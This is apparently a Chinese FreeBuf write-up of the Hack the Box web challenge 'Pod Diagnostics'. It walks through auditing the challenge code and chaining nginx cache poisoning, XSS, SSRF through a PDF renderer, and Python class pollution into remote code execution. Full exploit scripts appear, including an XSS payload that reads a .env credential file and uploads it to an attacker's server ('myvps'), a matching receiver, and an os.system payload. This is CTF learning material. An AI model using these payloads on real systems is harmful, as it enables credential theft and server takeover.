freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hack the Box——Pod Diagnostics解题过程
2023-09-12 15:54:08

0x00 剧透警告

目前这道题网上还没有wp(当时做不出来想看看答案但是却搜不到,当然也可能是我搜索能力的问题),感兴趣的师傅可以先做一做,题目质量还行,可惜有个非预期。

0x01 访问首页

网站首页是一个系统信息监控的静态页。

image

有两个可以交互的地方,一个是点击Download Diagnostics会访问/generate-report,响应的是pdf的二进制内容,pdf的内容像是用访问这个网站然后导出pdf得到的。

另一个是下拉框选择时间参数,会访问/stats?period=1m,响应的内容是当前系统信息的json,没什么有价值的。

{
    "success":true,
    "current":{
        ...
    },
    "average":{
        ...
    }
}

0x02 代码审计

对网站内容有了一个大致的了解之后,接下来捋代码以及配置细节。

web

先看web

# main.py
@app.route("/")
def stats_handler():
    return render_template("index.html", reports=fetch_reports(), system_version=system_version)

@app.route("/generate-report")
def generate_report_handler():
    ...
    try:
        pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
        ...

        return send_file(
            io.BytesIO(pdf_response.content), 
            mimetype="application/json", 
            as_attachment=True,
            download_name="report.pdf"
        )
    except:
        ...

@app.route("/report", defaults={"report_id": None}, methods=["GET"])
@app.route("/report/<report_id>", methods=["GET"])
@auth_required
def report_handler(report_id):
    ...
    return render_template("report.html", report=report, title=title, description=description)

@app.route("/report", defaults={"report_id": None}, methods=["POST"])
@app.route("/report/<report_id>", methods=["POST"])
@auth_required
def submit_report_handler(report_id):
    ...
    return jsonify({"success": True, "report_id": str(report)})

# auth.py
engineer_username = os.environ.get("ENGINEER_USERNAME")
engineer_password = os.environ.get("ENGINEER_PASSWORD")

if engineer_username is None or engineer_password is None:
    print("Missing engineer username and password, shutting down...")
    exit()

class AuthenticationException(Exception):
    pass

def auth_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        try:
            header_value = request.headers.get("Authorization")
            if header_value is None:
                raise AuthenticationException("No Authorization header")

            if not header_value.startswith("Basic "):
                raise AuthenticationException("Only Basic auth supported")

            _, encoded_auth = header_value.split(" ")

            decoded_auth = base64.b64decode(encoded_auth).decode()

            username, password = decoded_auth.split(":")

            if username != engineer_username or password != engineer_password:
                raise AuthenticationException("Invalid username and password")

            return f(*args, **kwargs)
        except AuthenticationException as e:
            ...

    return decorated_function

# report.py
def fetch_reports():
    reports = []

    for report_name in os.listdir(report_store):
        reports.append(Report(report_name.replace(".json", "")))

    return reports

def merge(source, destination):
    {
        "__str__": ""
    }
    for key, value in source.items():
        if hasattr(destination, "get"):
            if destination.get(key) and type(value) == dict:
                merge(value, destination.get(key))
            else:
                destination[key] = value
        elif hasattr(destination, key) and type(value) == dict:
            merge(value, getattr(destination, key))
        else:
            setattr(destination, key, value)

def get_date():
    return datetime.datetime.now().strftime("%y/%m/%d %H:%M:%S")

class Report:

    def __init__(self, report_id = None):
        if report_id is not None and not os.path.exists(os.path.join(report_store, report_id + ".json")):
            raise Exception("Report could not be found")
        ...

    def __str__(self):
        return "POD-REPORT-" + self.id

    ...
    def update(self, data, save=True):
        merge(data, self)

        if save:
            self.updated_at = get_date()
            self.save()
    ...

web里有四个路由,但是有两个路由有@auth_required装饰器,从auth.py看是实现了http basic认证,账号密码给的初始化代码是,32位的密码爆破应该是不可能了,可能需要文件读取的方式读出来。

echo "ENGINEER_USERNAME=engineer" > /app/services/web/.env
echo "ENGINEER_PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)" >> /app/services/web/.env

那目前只有//generate-report两个路由可以访问,但是这两个路由都没有可控参数,暂时没有什么可以利用的地方。

stats

app.use((req, res, next) => {
  res.set("Access-Control-Allow-Origin", "*");
  next();
});

const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };
const statStore = [];

app.get("/stats", async (req, res) => {
  const { period } = req.query;

  if (!period || !validPeriods.hasOwnProperty(period)) {
    return res.json({
      success: false,
      error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
    });
  }

  const periodData = statStore.filter((result) => result.takenAt < new Date().getTime() + validPeriods[period]);
  const averageData = periodData.reduce(
    (acc, curr) => {
      acc.memoryUsage += curr.memoryUsage;
      acc.cpuUsage += curr.cpuUsage;
      acc.diskUsage += curr.diskUsage;
      return acc;
    },
    { memoryUsage: 0, cpuUsage: 0, diskUsage: 0 }
  );
  ...
  return res.json({
    success: true,
    current: await getStats(),
    average: averageData,
  });
});

这个stats服务有一个可控参数period,但是存在一个校验,值被限制为const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };对象的键。

这里首先想到的应该是可能存在原型链污染,稍微fuzz了一下并不存在原型链污染。但是发现了一个有趣的输入,当传入的参数为?period[toString]=1的时候,服务端会直接panic,暂时也没有额外的利用。

pdf

app.get("/generate", async (req, res) => {
  const { url } = req.query;

  if (!url) return res.sendStatus(400);

  const pdf = await generatePDF(url);

  if (!pdf) return res.sendStatus(500);

  res.contentType("application/pdf");
  res.end(pdf);
});

pdf有一个路由,生成pdf,url可控,这里可能存在ssrf,但是目前pdf服务没有对外开放端口,只有内网能够访问,那就十分可疑了。

nginx

最后还有一个nginx配置,nginx只代理了web和stats两个服务,pdf无法直接从外部访问

了解网站的大致内容,我们再来捋一下源码的逻辑。题目给了三个服务+一个反代

服务路由作用
pdf:3002/generate?url=传入url,用puppeteer访问url并导出pdf
stats:3001/stats?period=传入period,返回系统信息
web:3000/主页面
web:3000/generate-report访问pdf/generate?url=localhost并返回响应
web:3000/report(需要http auth)上传报告,获取报告
nginx
反代+缓存

画一个简单丑陋的服务器架构图

image

0x03 发现漏洞

反射型xss

继续审计代码,发现web的./static/js/stats.js里存在可控的xss

const updateData = async () => {
  fetch("/stats?period=" + periodSelector.value)
    .then((data) => data.json())
    .then((data) => {
      const { current, average, success, error } = data;

      if (success) {
        ...
        errorAlert.innerHTML = "";
        errorAlert.style.display = "none";
      } else {
        errorAlert.innerHTML = error;
        errorAlert.style.display = "";
      }
    });
};

//resp
{
    "success":false,
    "error":"<strong><img src=1 onerror=alert('xss')> is invalid.</strong> Please specify one of the following values: 1m, 5m, 10m"
}

这里如果/stats路由返回的success字段不是true,js会把error写到html,造成反射型xss。

image

python原型链污染

# report.py
def merge(source, destination):
    for key, value in source.items():
        if hasattr(destination, "get"):
            if destination.get(key) and type(value) == dict:
                merge(value, destination.get(key))
            else:
                destination[key] = value
        elif hasattr(destination, key) and type(value) == dict:
            merge(value, getattr(destination, key))
        else:
            setattr(destination, key, value)

report.py这里存在一个很明显的原型链污染,但是目前web路由有http basic认证,暂时无法利用原型链污染。

到这貌似已经卡住了,虽然有洞但是没办法利用。

但是猜测应该是通过

后端访问localhost->xss->文件读取->读取.env的账号密码->原型链污染rce

nginx缓存key+参数解析差异

根据猜测的利用路径,怎么让后端的puppeteer访问存在xss的页面是一个问题,因为后端puppeteer访问的时候没有任何可控的参数,所以貌似没有办法直接触发xss。

http {
        ...
        proxy_cache_path /run/nginx/cache keys_zone=stat_cache:10m inactive=10s;
        server {
            ...
            location = /stats {
                proxy_cache stat_cache;
                proxy_cache_key "$arg_period";
                proxy_cache_valid 200 15s;
                proxy_pass http://127.0.0.1:3001;
            }

            location / { 
                proxy_pass http://127.0.0.1:3000;
            }
        }
}

经过漫长的审计和debug,发现了nginx配置里好像有点问题,这里nginx为/stats设置了15s的缓存,存储的内容为period=value

但是,当传入的参数为?period=value1&period=value2,对于相同的key,nginx只会解析第一个参数(可以看下nginx源码https://github.com/nginx/nginx/blob/master/src/http/ngx_http_parse.c#L2082查找参数这块)。

虽然nginx只会解析第一个参数,但是他会把uri全部转发给后端服务器。那么当我们传入的参数为?period=value1&period=value2,看一下qs,也就是express默认的url解析库是怎么解析的。

var qs = require('qs');

var obj = qs.parse('period=value1&period=value2');

console.log(obj)
// $ node test.js
// { period: [ 'value1', 'value2' ] }

可以看到这种参数会被qs解析成数组。这两种解析的差异配上nginx的缓存,在加上stats服务的响应内容可控,period作为数组,toString方法相当于是",".join(period)。因为缓存内容只和period参数名和period参数值有关,攻击者只要发送?period=1m&period=<img src=1 onerror=alert('poisoned')>,nginx会用period=1m当成缓存key(猜的,具体是什么格式得看nginx源码),内容为响应的内容。

return res.json({
      success: false,
      error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
    });

image
image
可以看到,不同的请求参数响应的内容和ETag都是一样的。

0x04 xss(跨域)->ssrf

通过缓存中毒,我们可以实现不控制参数也能让后端puppeteer访问的时候xss,相当于是反射型xss变成存储型了。

下一步应该是如何能读到.env的文件的账号密码。但是由于浏览器的限制,默认情况下是没办法加载本地文件的。

之前在审代码的时候发现,在pdf和stats,都加了个任意跨域,也就是可以从任意的网站源访问这个后端服务。

app.use((req, res, next) => {
  res.set("Access-Control-Allow-Origin", "*");
  next();
});

那我们可以在恶意的js代码中访问http://127.0.0.1:3002/generate?url=(pdf服务),url可控,岂不是就ssrf了。

再加上浏览器是支持file协议的,那就可以实现任意文件读取了。xss_exp如下,思路就是通过缓存中毒注入恶意js,然后访问/generate-report让后端触发xss实现文件读取,这里还有一个点就是按理直接注入<iframe src="http://127.0.0.1:3002/generate?url=file:///app/services/web/.env" width=200 height=200></iframe>(本地浏览器是可以加载iframe的),后端访问的pdf里应该就能加载包含这个iframe的内容,但是可能puppeteer导出pdf的时候无法把iframe加载进去,所以只能再起一个服务接收得到的pdf。

def exp(payload):
    proxies = {
        "http": "http://127.0.0.1:8080"
    }
    base_url = "http://target:port"
    url = "{}/stats?period=1m&period={}".format(base_url, quote(payload))
    requests.get(url, proxies=proxies)

    url = "{}/generate-report".format(base_url)
    # 让后端puppeteer触发xss
    r = requests.get(url, proxies=proxies)
    with open("res.pdf", "wb") as f:
        f.write(r.content)


if __name__ == '__main__':
    xss_code = '''fetch('http://127.0.0.1:3002/generate?url=file:///app/services/web/.env')
.then(response => response.blob())
.then(blob => {
    # 把得到的pdf上传
    return fetch('http://myvps/upload', {
        method: 'POST',
        body: blob,
    });
})
'''
    xss = "eval(atob(\"{}\"))".format(b64encode(xss_code.encode()).decode())
    payload = "<img src=1 onerror={} >".format(xss)
    exp(payload)

# 文件接收 app.py
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)

@app.route('/upload', methods=['POST'])
def upload():
    with open('./uploaded_file.pdf', 'wb') as f:
        f.write(request.data)
    return 'File uploaded and saved.'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

成功读到密码

image

0x05 python原型链污染利用

读到账号密码之后就简单了,直接用python原型链污染rce,关于python原型链污染,这个Python原型链污染变体(prototype-pollution-in-python)讲的很详细,原理攻击面利用基本都讲了,值得学习一波。

exp如下

def exp(payload):
    url = "http://target:port/report"

    auth = f"engineer:123456"
    headers = {
        "Authorization": "Basic {}".format(base64.b64encode(auth.encode()).decode())
    }
    requests.post(url, headers=headers, json=payload, proxies={"http": "http://127.0.0.1:8080"})
    # 触发模板渲染->触发rce
    requests.get("http://target:port")
    print(requests.get("http://target:port/static/flag").text)


if __name__ == '__main__':
    payload = {
        "title": "1",
        "description": "3",
        "__init__": {
            "__globals__": {
                "__loader__": {
                    "__init__": {
                        "__globals__": {
                            "sys": {
                                "modules": {
                                    "jinja2": {
                                        "runtime": {
                                            "exported": [
                                                "*;__import__('os').system('/readflag > /app/services/web/static/flag');#"
                                            ]
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    exp(payload)

0x06 总结

在测rce的时候发现whoami打出来的是root,/flag是400权限,ltb师傅一眼看出来这里有非预期,用xss+ssrf一打发现果然可以正常读/flag。还好是做完之后发现的,不然会少一部分乐趣了。
这道题主要还是漏洞入口藏得太深了,知道里面有洞,但是找不到入口太痛苦。一旦找到了参数解析差异导致的缓存中毒这个点,后面的其实都比较常规了。

# 渗透测试 # web安全 # 漏洞分析 # 代码审计 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录